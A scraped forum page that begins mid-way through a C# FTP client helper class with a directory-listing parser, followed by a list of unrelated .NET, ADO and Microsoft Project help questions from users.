ftp.Method = System.Net.WebRequestMethods.Ftp.MakeDirectory;
try
{
//get response but ignore it
string str = GetStringResponse(ftp);
}
catch (Exception)
{
return false;
}
return true;
}
public bool FtpDeleteDirectory(string dirpath)
{
//perform remove
string URI = this.Hostname + AdjustDir(dirpath);
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to RmDir
ftp.Method = System.Net.WebRequestMethods.Ftp.RemoveDirectory;
try
{
//get response but ignore it
string str = GetStringResponse(ftp);
}
catch (Exception)
{
return false;
}
return true;
}
#endregion
#region "private supporting fns"
//Get the basic FtpWebRequest object with the
//common settings and security
private FtpWebRequest GetRequest(string URI)
{
//create request
FtpWebRequest result = (FtpWebRequest)FtpWebRequest.Create(URI);
//Set the login details
result.Credentials = GetCredentials();
//Do not keep alive (stateless mode)
result.KeepAlive = true;
return result;
}
/// <summary>
/// Get the credentials from username/password
/// </summary>
private System.Net.ICredentials GetCredentials()
{
return new System.Net.NetworkCredential(Username, Password);
}
/// <summary>
/// returns a full path using CurrentDirectory for a relative file reference
/// </summary>
private string GetFullPath(string file)
{
if (file.Contains("/"))
{
return AdjustDir(file);
}
else
{
return this.CurrentDirectory + file;
}
}
/// <summary>
/// Amend an FTP path so that it always starts with /
/// </summary>
/// <param name="path">Path to adjust</param>
/// <returns></returns>
/// <remarks></remarks>
private string AdjustDir(string path)
{
return ((path.StartsWith("/")) ? "" : "/").ToString() + path;
}
private string GetDirectory(string directory)
{
string URI;
if (directory == "")
{
//build from current
URI = Hostname + this.CurrentDirectory;
_lastDirectory = this.CurrentDirectory;
}
else
{
if (!directory.StartsWith("/"))
{
throw (new ApplicationException("Directory should start with /"));
}
URI = this.Hostname + directory;
_lastDirectory = directory;
}
return URI;
}
//stores last retrieved/set directory
private string _lastDirectory = "";
/// <summary>
/// Obtains a response stream as a string
/// </summary>
/// <param name="ftp">current FTP request</param>
/// <returns>String containing response</returns>
/// <remarks>FTP servers typically return strings with CR and
/// not CRLF. Use respons.Replace(vbCR, vbCRLF) to convert
/// to an MSDOS string</remarks>
private string GetStringResponse(FtpWebRequest ftp)
{
//Get the result, streaming to a string
string result = "";
using (FtpWebResponse response = (FtpWebResponse)ftp.GetResponse())
{
long size = response.ContentLength;
using (Stream datastream = response.GetResponseStream())
{
using (StreamReader sr = new StreamReader(datastream))
{
result = sr.ReadToEnd();
sr.Close();
}
datastream.Close();
}
response.Close();
}
return result;
}
/// <summary>
/// Gets the size of an FTP request
/// </summary>
/// <param name="ftp"></param>
/// <returns></returns>
/// <remarks></remarks>
private long GetSize(FtpWebRequest ftp)
{
long size;
using (FtpWebResponse response = (FtpWebResponse)ftp.GetResponse())
{
size = response.ContentLength;
response.Close();
}
return size;
}
#endregion
#region "Properties"
private string _hostname;
/// <summary>
/// Hostname
/// </summary>
/// <value></value>
/// <remarks>Hostname can be in either the full URL format
/// ftp://ftp.myhost.com or just ftp.myhost.com
/// </remarks>
public string Hostname
{
get
{
if (_hostname.StartsWith("ftp://"))
{
return _hostname;
}
else
{
return "ftp://" + _hostname;
}
}
set
{
_hostname = value;
}
}
private string _username;
/// <summary>
/// Username property
/// </summary>
/// <value></value>
/// <remarks>Can be left blank, in which case 'anonymous' is
returned</remarks>
public string Username
{
get
{
return (_username == "" ? "anonymous" : _username);
}
set
{
_username = value;
}
}
private string _password;
public string Password
{
get
{
return _password;
}
set
{
_password = value;
}
}
/// <summary>
/// The CurrentDirectory value
/// </summary>
/// <remarks>Defaults to the root '/'</remarks>
private string _currentDirectory = "/";
public string CurrentDirectory
{
get
{
//return directory, ensure it ends with /
return _currentDirectory + ((_currentDirectory.EndsWith("/")) ? "" :
"/").ToString();
}
set
{
if (!value.StartsWith("/"))
{
throw (new ApplicationException("Directory should start with /"));
}
_currentDirectory = value;
}
}
#endregion
}
#endregion
#region "FTP file info class"
/// <summary>
/// Represents a file or directory entry from an FTP listing
/// </summary>
/// <remarks>
/// This class is used to parse the results from a detailed
/// directory list from FTP. It supports most formats of
/// </remarks>
public class FTPfileInfo
{
//Stores extended info about FTP file
#region "Properties"
public string FullName
{
get
{
return Path + Filename;
}
}
public string Filename
{
get
{
return _filename;
}
}
public string Path
{
get
{
return _path;
}
}
public DirectoryEntryTypes FileType
{
get
{
return _fileType;
}
}
public long Size
{
get
{
return _size;
}
}
public DateTime FileDateTime
{
get
{
return _fileDateTime;
}
}
public string Permission
{
get
{
return _permission;
}
}
public string Extension
{
get
{
int i = this.Filename.LastIndexOf(".");
if (i >= 0 && i < (this.Filename.Length - 1))
{
return this.Filename.Substring(i + 1);
}
else
{
return "";
}
}
}
public string NameOnly
{
get
{
int i = this.Filename.LastIndexOf(".");
if (i > 0)
{
return this.Filename.Substring(0, i);
}
else
{
return this.Filename;
}
}
}
private string _filename;
private string _path;
private DirectoryEntryTypes _fileType;
private long _size;
private DateTime _fileDateTime;
private string _permission;
#endregion
/// <summary>
/// Identifies entry as either File or Directory
/// </summary>
public enum DirectoryEntryTypes
{
File,
Directory
}
/// <summary>
/// Constructor taking a directory listing line and path
/// </summary>
/// <param name="line">The line returned from the detailed directory
list</param>
/// <param name="path">Path of the directory</param>
/// <remarks></remarks>
public FTPfileInfo(string line, string path)
{
//parse line
Match m = GetMatchingRegex(line);
if (m == null)
{
//failed
throw (new ApplicationException("Unable to parse line: " + line));
}
else
{
_filename = m.Groups["name"].Value;
_path = path;
Int64.TryParse(m.Groups["size"].Value, out _size);
//_size = System.Convert.ToInt32(m.Groups["size"].Value);
_permission = m.Groups["permission"].Value;
string _dir = m.Groups["dir"].Value;
if (_dir != "" && _dir != "-")
{
_fileType = DirectoryEntryTypes.Directory;
}
else
{
_fileType = DirectoryEntryTypes.File;
}
try
{
_fileDateTime = DateTime.Parse(m.Groups["timestamp"].Value);
}
catch (Exception)
{
_fileDateTime = Convert.ToDateTime(null);
}
}
}
private Match GetMatchingRegex(string line)
{
Regex rx;
Match m;
for (int i = 0; i <= _ParseFormats.Length - 1; i++)
{
rx = new Regex(_ParseFormats[i]);
m = rx.Match(line);
if (m.Success)
{
return m;
}
}
return null;
}
#region "Regular expressions for parsing LIST results"
/// <summary>
/// List of REGEX formats for different FTP server listing formats
/// </summary>
/// <remarks>
/// The first three are various UNIX/LINUX formats, fourth is for MS FTP
/// in detailed mode and the last for MS FTP in 'DOS' mode.
/// I wish VB.NET had support for Const arrays like C# but there you go
/// </remarks>
private static string[] _ParseFormats = new string[] {
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})\\s+\\d+\\s+\\w+\\s+\\w+\\s+(?<size>\\d+)\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{4})\\s+(?<name>.+)",
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})\\s+\\d+\\s+\\d+\\s+(?<size>\\d+)\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{4})\\s+(?<name>.+)",
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})\\s+\\d+\\s+\\d+\\s+(?<size>\\d+)\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{1,2}:\\d{2})\\s+(?<name>.+)",
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})\\s+\\d+\\s+\\w+\\s+\\w+\\s+(?<size>\\d+)\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{1,2}:\\d{2})\\s+(?<name>.+)",
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})(\\s+)(?<size>(\\d+))(\\s+)(?<ctbit>(\\w+\\s\\w+))(\\s+)(?<size2>(\\d+))\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{2}:\\d{2})\\s+(?<name>.+)",
"(?<timestamp>\\d{2}\\-\\d{2}\\-\\d{2}\\s+\\d{2}:\\d{2}[Aa|Pp][mM])\\s+(?<dir>\\<\\w+\\>){0,1}(?<size>\\d+){0,1}\\s+(?<name>.+)"
};
#endregion
}
#endregion
#region "FTP Directory class"
/// <summary>
/// Stores a list of files and directories from an FTP result
/// </summary>
/// <remarks></remarks>
public class FTPdirectory : List<FTPfileInfo>
{
public FTPdirectory()
{
//creates a blank directory listing
}
/// <summary>
/// Constructor: create list from a (detailed) directory string
/// </summary>
/// <param name="dir">directory listing string</param>
/// <param name="path"></param>
/// <remarks></remarks>
public FTPdirectory(string dir, string path)
{
foreach (string line in dir.Replace("\n",
"").Split(System.Convert.ToChar('\r')))
{
//parse
if (line != "")
{
this.Add(new FTPfileInfo(line, path));
}
}
}
/// <summary>
/// Filter out only files from directory listing
/// </summary>
/// <param name="ext">optional file extension filter</param>
/// <returns>FTPdirectory listing</returns>
public FTPdirectory GetFiles(string ext)
{
return this.GetFileOrDir(FTPfileInfo.DirectoryEntryTypes.File, ext);
}
/// <summary>
/// Returns a list of only subdirectories
/// </summary>
/// <returns>FTPDirectory list</returns>
/// <remarks></remarks>
public FTPdirectory GetDirectories()
{
return this.GetFileOrDir(FTPfileInfo.DirectoryEntryTypes.Directory, "");
}
//internal: share use function for GetDirectories/Files
private FTPdirectory GetFileOrDir(FTPfileInfo.DirectoryEntryTypes type,
string ext)
{
FTPdirectory result = new FTPdirectory();
foreach (FTPfileInfo fi in this)
{
if (fi.FileType == type)
{
if (ext == "")
{
result.Add(fi);
}
else if (ext == fi.Extension)
{
result.Add(fi);
}
}
}
return result;
}
public bool FileExists(string filename)
{
foreach (FTPfileInfo ftpfile in this)
{
if (ftpfile.Filename == filename)
{
return true;
}
}
return false;
}
private const char slash = '/';
public static string GetParentDirectory(string dir)
{
string tmp = dir.TrimEnd(slash);
int i = tmp.LastIndexOf(slash);
if (i > 0)
{
return tmp.Substring(0, i - 1);
}
else
{
throw (new ApplicationException("No parent for root"));
}
}
}
#endregion
}
- 5
- Microsoft Project >> Creating Custom LegendsI'm trying to create custom legends for my schedules - I can create them in
Page Setup but they show up on the print out. Please let me know if you have
any tips on creating legends.
Thanks for your help
- 6
- Net Framework >> Using a POP3 ServerHi
I want to access mails through a POP3 Server
I have some simple code taht connects, listens etc. Does anyone know if I can...
- Create inboxe
- Create folders in inboxe
- Move e-mail from one folder to the othe
- Read e-mail and manipulate attachment
....through POP3
- 7
- 8
- Dotnet >> cannot repair, add or unsinstall dotnetHi all
i'm new here, i have a big problem during the installation of Ms Visual
Studio .Net
when i want to repair,uninstall or add a components it works but failed at
the end
the error log say :
Visual Studio .NET Professional - French: [2] ERROR_FILE_NOT_FOUND returned
in CRootComponent::Install; could not find file:
C:\WINNT\Installer\202ee613.msiI don't know what to do, i've tried to
reinstall all the components needed but it stills fails :(do you have any
idea or clue ?Thanks fo allBen
- 9
- Dotnet >> Process CPU usage jumps to 100% without any reason?I am working on an application in c# that runs in the background.
All it does is monitor a value from a performance counter using a timer. It then draws these values in a chart
Now, this application works for a long time, sometimes even days. But sometimes it just freezes and the CPU usag
spikes to 100% for that process. I really don't understand why, and there seems to be no actual event that trigger
this. It looks like this problem occures more when I am using more CPU power during a long period of tim
(f.e. when compressing something). But even then, sometimes the program freezes and sometimes it keeps running
smooth at 0-2% usage..
Is there anyone that can give me an idea on how to solve this problem
I thank you for your time
Kind regards
Kevin Chabot
- 10
- Winforms >> Access and winformHello,
I have in my application a folder "/data" where I store my .mdb.
I create a connection in my winforms (app.config)
The problem it is that when I déploy my application, the program turns
over in my developpement folder to seek the .mdb and not in
"\programFiles\myApplication\data\..."
Help
--
Ceci est une signature automatique de MesNews.
Site : http://mesnews.no-ip.com
- 11
- ADO >> problem executing sproc from ASP(ADO).NETcan anyone tell me why the following will not work or how to fix it. This
works fine for executing sprocs with no parms but fails (always returns -1)
when executing with parms.
from webform:
Private Sub Find_Button_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles Find_Button.Click
Dim resultDS As DataSet
Dim retVal As Integer
Dim parmArray(2) As SqlClient.SqlParameter
parmArray(0) = New SqlClient.SqlParameter("@SEARCHTYPE",
SqlDbType.VarChar)
parmArray(0).Value = SearchType.SelectedValue
parmArray(1) = New SqlClient.SqlParameter("@SEARCHTERM",
SqlDbType.VarChar)
parmArray(1).Value = SearchTerm.Text
parmArray(2) = New SqlClient.SqlParameter("@INC_CLOSED",
SqlDbType.VarChar)
parmArray(2).Value = UCase(IncClosed.Checked.ToString)
Call ExecSP("PROC_MASTER_SEARCH", retVal, parmArray, resultDS)
DataGrid_Results.DataSource = resultDS
DataGrid_Results.DataBind()
End Sub
from db access module (adapted from Using Visual Basic.Net by Siler and
Spotts)
Private Sub PopulateCommandParms(ByVal parmArray() As SqlParameter, ByRef
cmd As SqlCommand)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'adds each parameter to the command object
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Dim i As Integer
For i = LBound(parmArray) To UBound(parmArray)
cmd.Parameters.Add(parmArray(i))
Next
End Sub
Private Sub PopulateOutputParms(ByVal cmd As SqlCommand, ByRef
parmArray() As SqlParameter)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'copies output parameter values back into the array
'assumes parameter array is already populated
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Dim i As Integer
For i = LBound(parmArray) To UBound(parmArray)
If parmArray(i).Direction = ParameterDirection.Output Then
parmArray(i).Value =
cmd.Parameters(parmArray(i).ParameterName).Value
End If
Next
End Sub
Public Sub ExecSP(ByVal procName As String, ByRef retVal As Integer, _
Optional ByRef parmArray() As SqlParameter = Nothing, _
Optional ByRef resultDS As DataSet = Nothing)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'executes stored procedures returning output parameters or filling a
dataset
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Dim dbConn As SqlConnection
Dim dbCmd As SqlCommand
Dim dbAdp As SqlDataAdapter
'open the connection
dbConn = New SqlConnection
dbConn.ConnectionString = GetConnectionString()
dbConn.Open()
'create the command object
dbCmd = New SqlCommand
dbCmd.CommandText = procName
dbCmd.CommandType = CommandType.StoredProcedure
dbCmd.Connection = dbConn
'add parameters to the connection object if they exist
If Not (parmArray Is Nothing) Then
Call PopulateCommandParms(parmArray, dbCmd)
End If
'execute the command
If resultDS Is Nothing Then
retVal = dbCmd.ExecuteNonQuery
Else
resultDS = New DataSet
dbAdp = New SqlDataAdapter
dbAdp.SelectCommand = dbCmd
retVal = dbAdp.Fill(resultDS)
End If
'close the connection
dbConn.Close()
'populate output parameters
If Not (parmArray Is Nothing) Then
Call PopulateOutputParms(dbCmd, parmArray)
End If
End Sub
- 12
- Visual C#.Net >> Installing a font using C#Hi
I was wondering if anyone knows how to install a system font using C#?
I know it doesn´t do the trick to simply copy the font to the font
directory, it just doesn´t become active.
Any ideas?
/Johan
- 13
- Dotnet >> Windows service notification iconHi,
I made a 'windows services' which works well. When I added a notificaton
icon, the icon apeared in the tray bar but when I clicked it, no events came
into my service. (I did allowed the service to intercat with the desktop).
Can you tell me why I can't receive the events?
Thank you
--
Rafi
Israel
- 14
- Dotnet >> opening a frameset in an IFrameHello,
I've written a C# web application.
I'm using frameset that contains 3 frames.
when i try to open this frameset in an iframe and i try to reference other
frames from a different frame, i get an error, for example:
"'top.frames,tabs.location' is null or not an object"
how can i solve this problem?
Thanks,
Dana
- 15
- Microsoft Project >> Dragging Finish DateIn a Gantt view of my project (MSP2000), when I try to drag the Finish
date of a task, the whole task moves instead of increasing the
Duration. This happens for any task I try to change.
If I create a new task, it behaves the same until I set the Constraint
Type to As Soon As Possible. The task Start date automatically
changes to the Project Start date. Only then I can drag the finish
date to extend the duration.
In a new project file, I can drag the Finish Date as per design.
Help?
Fred
|
|
|